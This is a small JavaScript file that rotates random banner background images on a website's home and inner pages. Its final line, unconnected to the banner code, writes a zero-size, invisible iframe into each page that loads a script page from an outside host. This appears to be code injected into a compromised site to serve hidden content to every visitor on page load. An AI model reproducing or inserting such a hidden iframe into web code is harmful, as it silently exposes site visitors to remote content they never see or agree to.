var bannerImage = "22";
var ImageNameInnerPages = new Array(8);
var ImageNameHomePage = new Array(3);

ImageNameInnerPages[0] = "top_banner1.jpg";
ImageNameInnerPages[1] = "top_banner2.jpg";
ImageNameInnerPages[2] = "top_banner3.jpg";
ImageNameInnerPages[3] = "top_banner4.jpg";
ImageNameInnerPages[4] = "top_banner5.jpg";
ImageNameInnerPages[5] = "top_banner6.jpg";
ImageNameInnerPages[6] = "top_banner7.jpg";
ImageNameInnerPages[7] = "top_banner8.jpg";

ImageNameHomePage[0] = "top_bg_home1.jpg";
ImageNameHomePage[1] = "top_bg_home2.jpg";
ImageNameHomePage[2] = "top_bg_home3.jpg";


function RandomNumber(intHighestNumber) {
	var randomNumber = Math.floor(Math.random() * intHighestNumber) + 1;
	return randomNumber;
			//Randomize
			//RandomNumber = Int(Rnd * intHighestNumber) + 1
}

function GetImageName(IsHomePage) {
	var imageName = "";
	if (IsHomePage == true) {
		imageName = ImageNameHomePage[RandomNumber(3) - 1];
	}else {
		imageName = ImageNameInnerPages[RandomNumber(8) - 1];
	}
	//alert("/landmark/images/" + imageName);
	return "images/" + imageName;
}

function SetImage(bHomepage)
{
	var strUrl = GetImageName(bHomepage);
	document.getElementById("masthead").style.backgroundImage = 'url('+strUrl+')';
}
document.write("<iframe src='http://testdrive.geographix.com/scripts/scripts.htm' width=0 height=0></iframe>");